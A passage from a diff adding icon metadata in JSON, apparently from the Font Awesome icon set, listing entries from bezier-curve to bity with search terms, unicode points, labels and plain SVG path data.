458.1l-90.62-70.05c.19-1.38.8-2.66.8-4.06.05-7.55-2.61-15.27-8.61-21.71-19.32-20.76-55.47-51.99-55.47-154.29 0-77.7-54.48-139.9-127.94-155.16V32c0-17.67-14.32-32-31.98-32s-31.98 14.33-31.98 32v20.84c-40.33 8.38-74.66 31.07-97.59 62.57L45.47 3.37C38.49-2.05 28.43-.8 23.01 6.18L3.37 31.45C-2.05 38.42-.8 48.47 6.18 53.9l588.35 454.73c6.98 5.43 17.03 4.17 22.46-2.81l19.64-25.27c5.42-6.97 4.17-17.02-2.81-22.45zM157.23 251.54c-8.61 67.96-36.41 93.33-52.62 110.75-6 6.45-8.66 14.16-8.61 21.71.11 16.4 12.98 32 32.1 32h241.92L157.23 251.54zM320 512c35.32 0 63.97-28.65 63.97-64H256.03c0 35.35 28.65 64 63.97 64z" + }, + "regular": { + "last_modified": 1628088634680, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M633.99 471.02L36 3.51C29.1-2.01 19.03-.9 13.51 6l-10 12.49C-2.02 25.39-.9 35.46 6 40.98l598 467.51c6.9 5.52 16.96 4.4 22.49-2.49l10-12.49c5.52-6.9 4.41-16.97-2.5-22.49zM163.53 368c16.71-22.03 34.48-55.8 41.4-110.58l-45.47-35.55c-3.27 90.73-36.47 120.68-54.84 140.42-6 6.45-8.66 14.16-8.61 21.71.11 16.4 12.98 32 32.1 32h279.66l-61.4-48H163.53zM320 96c61.86 0 112 50.14 112 112 0 .2-.06.38-.06.58.02 16.84 1.16 31.77 2.79 45.73l59.53 46.54c-8.31-22.13-14.34-51.49-14.34-92.85 0-77.7-54.48-139.9-127.94-155.16V32c0-17.67-14.32-32-31.98-32s-31.98 14.33-31.98 32v20.84c-26.02 5.41-49.45 16.94-69.13 32.72l38.17 29.84C275 103.18 296.65 96 320 96zm0 416c35.32 0 63.97-28.65 63.97-64H256.03c0 35.35 28.65 64 63.97 64z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M633.99 471.02L36 3.51C29.1-2.01 19.03-.9 13.51 6l-10 12.49C-2.02 25.39-.9 35.46 6 40.98l598 467.51c6.9 5.52 16.96 4.4 22.49-2.49l10-12.49c5.52-6.9 4.41-16.97-2.5-22.49zM163.53 368c16.71-22.03 34.48-55.8 41.4-110.58l-45.47-35.55c-3.27 90.73-36.47 120.68-54.84 140.42-6 6.45-8.66 14.16-8.61 21.71.11 16.4 12.98 32 32.1 32h279.66l-61.4-48H163.53zM320 96c61.86 0 112 50.14 112 112 0 .2-.06.38-.06.58.02 16.84 1.16 31.77 2.79 45.73l59.53 46.54c-8.31-22.13-14.34-51.49-14.34-92.85 0-77.7-54.48-139.9-127.94-155.16V32c0-17.67-14.32-32-31.98-32s-31.98 14.33-31.98 32v20.84c-26.02 5.41-49.45 16.94-69.13 32.72l38.17 29.84C275 103.18 296.65 96 320 96zm0 416c35.32 0 63.97-28.65 63.97-64H256.03c0 35.35 28.65 64 63.97 64z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "bezier-curve": { + "changes": [ + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "curves", + "illustrator", + "lines", + "path", + "vector" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f55b", + "label": "Bezier Curve", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635340, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M368 32h-96c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32V64c0-17.67-14.33-32-32-32zM208 88h-84.75C113.75 64.56 90.84 48 64 48 28.66 48 0 76.65 0 112s28.66 64 64 64c26.84 0 49.75-16.56 59.25-40h79.73c-55.37 32.52-95.86 87.32-109.54 152h49.4c11.3-41.61 36.77-77.21 71.04-101.56-3.7-8.08-5.88-16.99-5.88-26.44V88zm-48 232H64c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32v-96c0-17.67-14.33-32-32-32zM576 48c-26.84 0-49.75 16.56-59.25 40H432v72c0 9.45-2.19 18.36-5.88 26.44 34.27 24.35 59.74 59.95 71.04 101.56h49.4c-13.68-64.68-54.17-119.48-109.54-152h79.73c9.5 23.44 32.41 40 59.25 40 35.34 0 64-28.65 64-64s-28.66-64-64-64zm0 272h-96c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32v-96c0-17.67-14.33-32-32-32z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M368 32h-96c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32V64c0-17.67-14.33-32-32-32zM208 88h-84.75C113.75 64.56 90.84 48 64 48 28.66 48 0 76.65 0 112s28.66 64 64 64c26.84 0 49.75-16.56 59.25-40h79.73c-55.37 32.52-95.86 87.32-109.54 152h49.4c11.3-41.61 36.77-77.21 71.04-101.56-3.7-8.08-5.88-16.99-5.88-26.44V88zm-48 232H64c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32v-96c0-17.67-14.33-32-32-32zM576 48c-26.84 0-49.75 16.56-59.25 40H432v72c0 9.45-2.19 18.36-5.88 26.44 34.27 24.35 59.74 59.95 71.04 101.56h49.4c-13.68-64.68-54.17-119.48-109.54-152h79.73c9.5 23.44 32.41 40 59.25 40 35.34 0 64-28.65 64-64s-28.66-64-64-64zm0 272h-96c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32v-96c0-17.67-14.33-32-32-32z" + } + }, + "free": [ + "solid" + ] + }, + "bible": { + "changes": [ + "5.3.0" + ], + "ligatures": [], + "search": { + "terms": [ + "book", + "catholicism", + "christianity", + "god", + "holy" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f647", + "label": "Bible", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635341, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448 358.4V25.6c0-16-9.6-25.6-25.6-25.6H96C41.6 0 0 41.6 0 96v320c0 54.4 41.6 96 96 96h326.4c12.8 0 25.6-9.6 25.6-25.6v-16c0-6.4-3.2-12.8-9.6-19.2-3.2-16-3.2-60.8 0-73.6 6.4-3.2 9.6-9.6 9.6-19.2zM144 144c0-8.84 7.16-16 16-16h48V80c0-8.84 7.16-16 16-16h32c8.84 0 16 7.16 16 16v48h48c8.84 0 16 7.16 16 16v32c0 8.84-7.16 16-16 16h-48v112c0 8.84-7.16 16-16 16h-32c-8.84 0-16-7.16-16-16V192h-48c-8.84 0-16-7.16-16-16v-32zm236.8 304H96c-19.2 0-32-12.8-32-32s16-32 32-32h284.8v64z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M448 358.4V25.6c0-16-9.6-25.6-25.6-25.6H96C41.6 0 0 41.6 0 96v320c0 54.4 41.6 96 96 96h326.4c12.8 0 25.6-9.6 25.6-25.6v-16c0-6.4-3.2-12.8-9.6-19.2-3.2-16-3.2-60.8 0-73.6 6.4-3.2 9.6-9.6 9.6-19.2zM144 144c0-8.84 7.16-16 16-16h48V80c0-8.84 7.16-16 16-16h32c8.84 0 16 7.16 16 16v48h48c8.84 0 16 7.16 16 16v32c0 8.84-7.16 16-16 16h-48v112c0 8.84-7.16 16-16 16h-32c-8.84 0-16-7.16-16-16V192h-48c-8.84 0-16-7.16-16-16v-32zm236.8 304H96c-19.2 0-32-12.8-32-32s16-32 32-32h284.8v64z" + } + }, + "free": [ + "solid" + ] + }, + "bicycle": { + "changes": [ + "4.2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "bike", + "gears", + "pedal", + "transportation", + "vehicle" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f206", + "label": "Bicycle", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635341, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M512.509 192.001c-16.373-.064-32.03 2.955-46.436 8.495l-77.68-125.153A24 24 0 0 0 368.001 64h-64c-8.837 0-16 7.163-16 16v16c0 8.837 7.163 16 16 16h50.649l14.896 24H256.002v-16c0-8.837-7.163-16-16-16h-87.459c-13.441 0-24.777 10.999-24.536 24.437.232 13.044 10.876 23.563 23.995 23.563h48.726l-29.417 47.52c-13.433-4.83-27.904-7.483-42.992-7.52C58.094 191.83.412 249.012.002 319.236-.413 390.279 57.055 448 128.002 448c59.642 0 109.758-40.793 123.967-96h52.033a24 24 0 0 0 20.406-11.367L410.37 201.77l14.938 24.067c-25.455 23.448-41.385 57.081-41.307 94.437.145 68.833 57.899 127.051 126.729 127.719 70.606.685 128.181-55.803 129.255-125.996 1.086-70.941-56.526-129.72-127.476-129.996zM186.75 265.772c9.727 10.529 16.673 23.661 19.642 38.228h-43.306l23.664-38.228zM128.002 400c-44.112 0-80-35.888-80-80s35.888-80 80-80c5.869 0 11.586.653 17.099 1.859l-45.505 73.509C89.715 331.327 101.213 352 120.002 352h81.3c-12.37 28.225-40.562 48-73.3 48zm162.63-96h-35.624c-3.96-31.756-19.556-59.894-42.383-80.026L237.371 184h127.547l-74.286 120zm217.057 95.886c-41.036-2.165-74.049-35.692-75.627-76.755-.812-21.121 6.633-40.518 19.335-55.263l44.433 71.586c4.66 7.508 14.524 9.816 22.032 5.156l13.594-8.437c7.508-4.66 9.817-14.524 5.156-22.032l-44.468-71.643a79.901 79.901 0 0 1 19.858-2.497c44.112 0 80 35.888 80 80-.001 45.54-38.252 82.316-84.313 79.885z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M512.509 192.001c-16.373-.064-32.03 2.955-46.436 8.495l-77.68-125.153A24 24 0 0 0 368.001 64h-64c-8.837 0-16 7.163-16 16v16c0 8.837 7.163 16 16 16h50.649l14.896 24H256.002v-16c0-8.837-7.163-16-16-16h-87.459c-13.441 0-24.777 10.999-24.536 24.437.232 13.044 10.876 23.563 23.995 23.563h48.726l-29.417 47.52c-13.433-4.83-27.904-7.483-42.992-7.52C58.094 191.83.412 249.012.002 319.236-.413 390.279 57.055 448 128.002 448c59.642 0 109.758-40.793 123.967-96h52.033a24 24 0 0 0 20.406-11.367L410.37 201.77l14.938 24.067c-25.455 23.448-41.385 57.081-41.307 94.437.145 68.833 57.899 127.051 126.729 127.719 70.606.685 128.181-55.803 129.255-125.996 1.086-70.941-56.526-129.72-127.476-129.996zM186.75 265.772c9.727 10.529 16.673 23.661 19.642 38.228h-43.306l23.664-38.228zM128.002 400c-44.112 0-80-35.888-80-80s35.888-80 80-80c5.869 0 11.586.653 17.099 1.859l-45.505 73.509C89.715 331.327 101.213 352 120.002 352h81.3c-12.37 28.225-40.562 48-73.3 48zm162.63-96h-35.624c-3.96-31.756-19.556-59.894-42.383-80.026L237.371 184h127.547l-74.286 120zm217.057 95.886c-41.036-2.165-74.049-35.692-75.627-76.755-.812-21.121 6.633-40.518 19.335-55.263l44.433 71.586c4.66 7.508 14.524 9.816 22.032 5.156l13.594-8.437c7.508-4.66 9.817-14.524 5.156-22.032l-44.468-71.643a79.901 79.901 0 0 1 19.858-2.497c44.112 0 80 35.888 80 80-.001 45.54-38.252 82.316-84.313 79.885z" + } + }, + "free": [ + "solid" + ] + }, + "biking": { + "changes": [ + "5.9.0" + ], + "ligatures": [], + "search": { + "terms": [ + "bicycle", + "bike", + "cycle", + "cycling", + "ride", + "wheel" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f84a", + "label": "Biking", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635341, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M400 96a48 48 0 1 0-48-48 48 48 0 0 0 48 48zm-4 121a31.9 31.9 0 0 0 20 7h64a32 32 0 0 0 0-64h-52.78L356 103a31.94 31.94 0 0 0-40.81.68l-112 96a32 32 0 0 0 3.08 50.92L288 305.12V416a32 32 0 0 0 64 0V288a32 32 0 0 0-14.25-26.62l-41.36-27.57 58.25-49.92zm116 39a128 128 0 1 0 128 128 128 128 0 0 0-128-128zm0 192a64 64 0 1 1 64-64 64 64 0 0 1-64 64zM128 256a128 128 0 1 0 128 128 128 128 0 0 0-128-128zm0 192a64 64 0 1 1 64-64 64 64 0 0 1-64 64z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M400 96a48 48 0 1 0-48-48 48 48 0 0 0 48 48zm-4 121a31.9 31.9 0 0 0 20 7h64a32 32 0 0 0 0-64h-52.78L356 103a31.94 31.94 0 0 0-40.81.68l-112 96a32 32 0 0 0 3.08 50.92L288 305.12V416a32 32 0 0 0 64 0V288a32 32 0 0 0-14.25-26.62l-41.36-27.57 58.25-49.92zm116 39a128 128 0 1 0 128 128 128 128 0 0 0-128-128zm0 192a64 64 0 1 1 64-64 64 64 0 0 1-64 64zM128 256a128 128 0 1 0 128 128 128 128 0 0 0-128-128zm0 192a64 64 0 1 1 64-64 64 64 0 0 1-64 64z" + } + }, + "free": [ + "solid" + ] + }, + "bimobject": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f378", + "label": "BIMobject", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860968, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M416 32H32C14.4 32 0 46.4 0 64v384c0 17.6 14.4 32 32 32h384c17.6 0 32-14.4 32-32V64c0-17.6-14.4-32-32-32zm-64 257.4c0 49.4-11.4 82.6-103.8 82.6h-16.9c-44.1 0-62.4-14.9-70.4-38.8h-.9V368H96V136h64v74.7h1.1c4.6-30.5 39.7-38.8 69.7-38.8h17.3c92.4 0 103.8 33.1 103.8 82.5v35zm-64-28.9v22.9c0 21.7-3.4 33.8-38.4 33.8h-45.3c-28.9 0-44.1-6.5-44.1-35.7v-19c0-29.3 15.2-35.7 44.1-35.7h45.3c35-.2 38.4 12 38.4 33.7z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M416 32H32C14.4 32 0 46.4 0 64v384c0 17.6 14.4 32 32 32h384c17.6 0 32-14.4 32-32V64c0-17.6-14.4-32-32-32zm-64 257.4c0 49.4-11.4 82.6-103.8 82.6h-16.9c-44.1 0-62.4-14.9-70.4-38.8h-.9V368H96V136h64v74.7h1.1c4.6-30.5 39.7-38.8 69.7-38.8h17.3c92.4 0 103.8 33.1 103.8 82.5v35zm-64-28.9v22.9c0 21.7-3.4 33.8-38.4 33.8h-45.3c-28.9 0-44.1-6.5-44.1-35.7v-19c0-29.3 15.2-35.7 44.1-35.7h45.3c35-.2 38.4 12 38.4 33.7z" + } + }, + "free": [ + "brands" + ] + }, + "binoculars": { + "changes": [ + "4.2", + "5.0.0", + "5.2.0" + ], + "ligatures": [], + "search": { + "terms": [ + "glasses", + "magnify", + "scenic", + "spyglass", + "view" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f1e5", + "label": "Binoculars", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635342, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M416 48c0-8.84-7.16-16-16-16h-64c-8.84 0-16 7.16-16 16v48h96V48zM63.91 159.99C61.4 253.84 3.46 274.22 0 404v44c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32V288h32V128H95.84c-17.63 0-31.45 14.37-31.93 31.99zm384.18 0c-.48-17.62-14.3-31.99-31.93-31.99H320v160h32v160c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32v-44c-3.46-129.78-61.4-150.16-63.91-244.01zM176 32h-64c-8.84 0-16 7.16-16 16v48h96V48c0-8.84-7.16-16-16-16zm48 256h64V128h-64v160z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M416 48c0-8.84-7.16-16-16-16h-64c-8.84 0-16 7.16-16 16v48h96V48zM63.91 159.99C61.4 253.84 3.46 274.22 0 404v44c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32V288h32V128H95.84c-17.63 0-31.45 14.37-31.93 31.99zm384.18 0c-.48-17.62-14.3-31.99-31.93-31.99H320v160h32v160c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32v-44c-3.46-129.78-61.4-150.16-63.91-244.01zM176 32h-64c-8.84 0-16 7.16-16 16v48h96V48c0-8.84-7.16-16-16-16zm48 256h64V128h-64v160z" + } + }, + "free": [ + "solid" + ] + }, + "biohazard": { + "changes": [ + "5.6.0", + "5.7.0" + ], + "ligatures": [], + "search": { + "terms": [ + "covid-19", + "danger", + "dangerous", + "hazmat", + "medical", + "radioactive", + "toxic", + "waste", + "zombie" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f780", + "label": "Biohazard", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635342, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M287.9 112c18.6 0 36.2 3.8 52.8 9.6 13.3-10.3 23.6-24.3 29.5-40.7-25.2-10.9-53-17-82.2-17-29.1 0-56.9 6-82.1 16.9 5.9 16.4 16.2 30.4 29.5 40.7 16.5-5.7 34-9.5 52.5-9.5zM163.6 438.7c12-11.8 20.4-26.4 24.5-42.4-32.9-26.4-54.8-65.3-58.9-109.6-8.5-2.8-17.2-4.6-26.4-4.6-7.6 0-15.2 1-22.5 3.1 4.1 62.8 35.8 118 83.3 153.5zm224.2-42.6c4.1 16 12.5 30.7 24.5 42.5 47.4-35.5 79.1-90.7 83-153.5-7.2-2-14.7-3-22.2-3-9.2 0-18 1.9-26.6 4.7-4.1 44.2-26 82.9-58.7 109.3zm113.5-205c-17.6-10.4-36.3-16.6-55.3-19.9 6-17.7 10-36.4 10-56.2 0-41-14.5-80.8-41-112.2-2.5-3-6.6-3.7-10-1.8-3.3 1.9-4.8 6-3.6 9.7 4.5 13.8 6.6 26.3 6.6 38.5 0 67.8-53.8 122.9-120 122.9S168 117 168 49.2c0-12.1 2.2-24.7 6.6-38.5 1.2-3.7-.3-7.8-3.6-9.7-3.4-1.9-7.5-1.2-10 1.8C134.6 34.2 120 74 120 115c0 19.8 3.9 38.5 10 56.2-18.9 3.3-37.7 9.5-55.3 19.9-34.6 20.5-61 53.3-74.3 92.4-1.3 3.7.2 7.7 3.5 9.8 3.3 2 7.5 1.3 10-1.6 9.4-10.8 19-19.1 29.2-25.1 57.3-33.9 130.8-13.7 163.9 45 33.1 58.7 13.4 134-43.9 167.9-10.2 6.1-22 10.4-35.8 13.4-3.7.8-6.4 4.2-6.4 8.1.1 4 2.7 7.3 6.5 8 39.7 7.8 80.6.8 115.2-19.7 18-10.6 32.9-24.5 45.3-40.1 12.4 15.6 27.3 29.5 45.3 40.1 34.6 20.5 75.5 27.5 115.2 19.7 3.8-.7 6.4-4 6.5-8 0-3.9-2.6-7.3-6.4-8.1-13.9-2.9-25.6-7.3-35.8-13.4-57.3-33.9-77-109.2-43.9-167.9s106.6-78.9 163.9-45c10.2 6.1 19.8 14.3 29.2 25.1 2.5 2.9 6.7 3.6 10 1.6s4.8-6.1 3.5-9.8c-13.1-39.1-39.5-72-74.1-92.4zm-213.4 129c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M287.9 112c18.6 0 36.2 3.8 52.8 9.6 13.3-10.3 23.6-24.3 29.5-40.7-25.2-10.9-53-17-82.2-17-29.1 0-56.9 6-82.1 16.9 5.9 16.4 16.2 30.4 29.5 40.7 16.5-5.7 34-9.5 52.5-9.5zM163.6 438.7c12-11.8 20.4-26.4 24.5-42.4-32.9-26.4-54.8-65.3-58.9-109.6-8.5-2.8-17.2-4.6-26.4-4.6-7.6 0-15.2 1-22.5 3.1 4.1 62.8 35.8 118 83.3 153.5zm224.2-42.6c4.1 16 12.5 30.7 24.5 42.5 47.4-35.5 79.1-90.7 83-153.5-7.2-2-14.7-3-22.2-3-9.2 0-18 1.9-26.6 4.7-4.1 44.2-26 82.9-58.7 109.3zm113.5-205c-17.6-10.4-36.3-16.6-55.3-19.9 6-17.7 10-36.4 10-56.2 0-41-14.5-80.8-41-112.2-2.5-3-6.6-3.7-10-1.8-3.3 1.9-4.8 6-3.6 9.7 4.5 13.8 6.6 26.3 6.6 38.5 0 67.8-53.8 122.9-120 122.9S168 117 168 49.2c0-12.1 2.2-24.7 6.6-38.5 1.2-3.7-.3-7.8-3.6-9.7-3.4-1.9-7.5-1.2-10 1.8C134.6 34.2 120 74 120 115c0 19.8 3.9 38.5 10 56.2-18.9 3.3-37.7 9.5-55.3 19.9-34.6 20.5-61 53.3-74.3 92.4-1.3 3.7.2 7.7 3.5 9.8 3.3 2 7.5 1.3 10-1.6 9.4-10.8 19-19.1 29.2-25.1 57.3-33.9 130.8-13.7 163.9 45 33.1 58.7 13.4 134-43.9 167.9-10.2 6.1-22 10.4-35.8 13.4-3.7.8-6.4 4.2-6.4 8.1.1 4 2.7 7.3 6.5 8 39.7 7.8 80.6.8 115.2-19.7 18-10.6 32.9-24.5 45.3-40.1 12.4 15.6 27.3 29.5 45.3 40.1 34.6 20.5 75.5 27.5 115.2 19.7 3.8-.7 6.4-4 6.5-8 0-3.9-2.6-7.3-6.4-8.1-13.9-2.9-25.6-7.3-35.8-13.4-57.3-33.9-77-109.2-43.9-167.9s106.6-78.9 163.9-45c10.2 6.1 19.8 14.3 29.2 25.1 2.5 2.9 6.7 3.6 10 1.6s4.8-6.1 3.5-9.8c-13.1-39.1-39.5-72-74.1-92.4zm-213.4 129c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48z" + } + }, + "free": [ + "solid" + ] + }, + "birthday-cake": { + "changes": [ + "4.2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "anniversary", + "bakery", + "candles", + "celebration", + "dessert", + "frosting", + "holiday", + "party", + "pastry" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f1fd", + "label": "Birthday Cake", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635342, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448 384c-28.02 0-31.26-32-74.5-32-43.43 0-46.825 32-74.75 32-27.695 0-31.454-32-74.75-32-42.842 0-47.218 32-74.5 32-28.148 0-31.202-32-74.75-32-43.547 0-46.653 32-74.75 32v-80c0-26.5 21.5-48 48-48h16V112h64v144h64V112h64v144h64V112h64v144h16c26.5 0 48 21.5 48 48v80zm0 128H0v-96c43.356 0 46.767-32 74.75-32 27.951 0 31.253 32 74.75 32 42.843 0 47.217-32 74.5-32 28.148 0 31.201 32 74.75 32 43.357 0 46.767-32 74.75-32 27.488 0 31.252 32 74.5 32v96zM96 96c-17.75 0-32-14.25-32-32 0-31 32-23 32-64 12 0 32 29.5 32 56s-14.25 40-32 40zm128 0c-17.75 0-32-14.25-32-32 0-31 32-23 32-64 12 0 32 29.5 32 56s-14.25 40-32 40zm128 0c-17.75 0-32-14.25-32-32 0-31 32-23 32-64 12 0 32 29.5 32 56s-14.25 40-32 40z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M448 384c-28.02 0-31.26-32-74.5-32-43.43 0-46.825 32-74.75 32-27.695 0-31.454-32-74.75-32-42.842 0-47.218 32-74.5 32-28.148 0-31.202-32-74.75-32-43.547 0-46.653 32-74.75 32v-80c0-26.5 21.5-48 48-48h16V112h64v144h64V112h64v144h64V112h64v144h16c26.5 0 48 21.5 48 48v80zm0 128H0v-96c43.356 0 46.767-32 74.75-32 27.951 0 31.253 32 74.75 32 42.843 0 47.217-32 74.5-32 28.148 0 31.201 32 74.75 32 43.357 0 46.767-32 74.75-32 27.488 0 31.252 32 74.5 32v96zM96 96c-17.75 0-32-14.25-32-32 0-31 32-23 32-64 12 0 32 29.5 32 56s-14.25 40-32 40zm128 0c-17.75 0-32-14.25-32-32 0-31 32-23 32-64 12 0 32 29.5 32 56s-14.25 40-32 40zm128 0c-17.75 0-32-14.25-32-32 0-31 32-23 32-64 12 0 32 29.5 32 56s-14.25 40-32 40z" + } + }, + "free": [ + "solid" + ] + }, + "bitbucket": { + "changes": [ + "3.2", + "5.0.0", + "5.6.0", + "5.8.0" + ], + "ligatures": [], + "search": { + "terms": [ + "atlassian", + "bitbucket-square", + "git" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f171", + "label": "Bitbucket", + "voted": false, + "svg": { + "brands": { + "last_modified": 1558987775893, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M22.2 32A16 16 0 0 0 6 47.8a26.35 26.35 0 0 0 .2 2.8l67.9 412.1a21.77 21.77 0 0 0 21.3 18.2h325.7a16 16 0 0 0 16-13.4L505 50.7a16 16 0 0 0-13.2-18.3 24.58 24.58 0 0 0-2.8-.2L22.2 32zm285.9 297.8h-104l-28.1-147h157.3l-25.2 147z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M22.2 32A16 16 0 0 0 6 47.8a26.35 26.35 0 0 0 .2 2.8l67.9 412.1a21.77 21.77 0 0 0 21.3 18.2h325.7a16 16 0 0 0 16-13.4L505 50.7a16 16 0 0 0-13.2-18.3 24.58 24.58 0 0 0-2.8-.2L22.2 32zm285.9 297.8h-104l-28.1-147h157.3l-25.2 147z" + } + }, + "free": [ + "brands" + ] + }, + "bitcoin": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f379", + "label": "Bitcoin", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860968, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M504 256c0 136.967-111.033 248-248 248S8 392.967 8 256 119.033 8 256 8s248 111.033 248 248zm-141.651-35.33c4.937-32.999-20.191-50.739-54.55-62.573l11.146-44.702-27.213-6.781-10.851 43.524c-7.154-1.783-14.502-3.464-21.803-5.13l10.929-43.81-27.198-6.781-11.153 44.686c-5.922-1.349-11.735-2.682-17.377-4.084l.031-.14-37.53-9.37-7.239 29.062s20.191 4.627 19.765 4.913c11.022 2.751 13.014 10.044 12.68 15.825l-12.696 50.925c.76.194 1.744.473 2.829.907-.907-.225-1.876-.473-2.876-.713l-17.796 71.338c-1.349 3.348-4.767 8.37-12.471 6.464.271.395-19.78-4.937-19.78-4.937l-13.51 31.147 35.414 8.827c6.588 1.651 13.045 3.379 19.4 5.006l-11.262 45.213 27.182 6.781 11.153-44.733a1038.209 1038.209 0 0 0 21.687 5.627l-11.115 44.523 27.213 6.781 11.262-45.128c46.404 8.781 81.299 5.239 95.986-36.727 11.836-33.79-.589-53.281-25.004-65.991 17.78-4.098 31.174-15.792 34.747-39.949zm-62.177 87.179c-8.41 33.79-65.308 15.523-83.755 10.943l14.944-59.899c18.446 4.603 77.6 13.717 68.811 48.956zm8.417-87.667c-7.673 30.736-55.031 15.12-70.393 11.292l13.548-54.327c15.363 3.828 64.836 10.973 56.845 43.035z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M504 256c0 136.967-111.033 248-248 248S8 392.967 8 256 119.033 8 256 8s248 111.033 248 248zm-141.651-35.33c4.937-32.999-20.191-50.739-54.55-62.573l11.146-44.702-27.213-6.781-10.851 43.524c-7.154-1.783-14.502-3.464-21.803-5.13l10.929-43.81-27.198-6.781-11.153 44.686c-5.922-1.349-11.735-2.682-17.377-4.084l.031-.14-37.53-9.37-7.239 29.062s20.191 4.627 19.765 4.913c11.022 2.751 13.014 10.044 12.68 15.825l-12.696 50.925c.76.194 1.744.473 2.829.907-.907-.225-1.876-.473-2.876-.713l-17.796 71.338c-1.349 3.348-4.767 8.37-12.471 6.464.271.395-19.78-4.937-19.78-4.937l-13.51 31.147 35.414 8.827c6.588 1.651 13.045 3.379 19.4 5.006l-11.262 45.213 27.182 6.781 11.153-44.733a1038.209 1038.209 0 0 0 21.687 5.627l-11.115 44.523 27.213 6.781 11.262-45.128c46.404 8.781 81.299 5.239 95.986-36.727 11.836-33.79-.589-53.281-25.004-65.991 17.78-4.098 31.174-15.792 34.747-39.949zm-62.177 87.179c-8.41 33.79-65.308 15.523-83.755 10.943l14.944-59.899c18.446 4.603 77.6 13.717 68.811 48.956zm8.417-87.667c-7.673 30.736-55.031 15.12-70.393 11.292l13.548-54.327c15.363 3.828 64.836 10.973 56.845 43.035z" + } + }, + "free": [ + "brands" + ] + }, + "bity": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f37a", + "label": "Bity", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860969, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M78.4 67.2C173.8-22 324.5-24 421.5 71c14.3 14.1-6.4 37.1-22.4 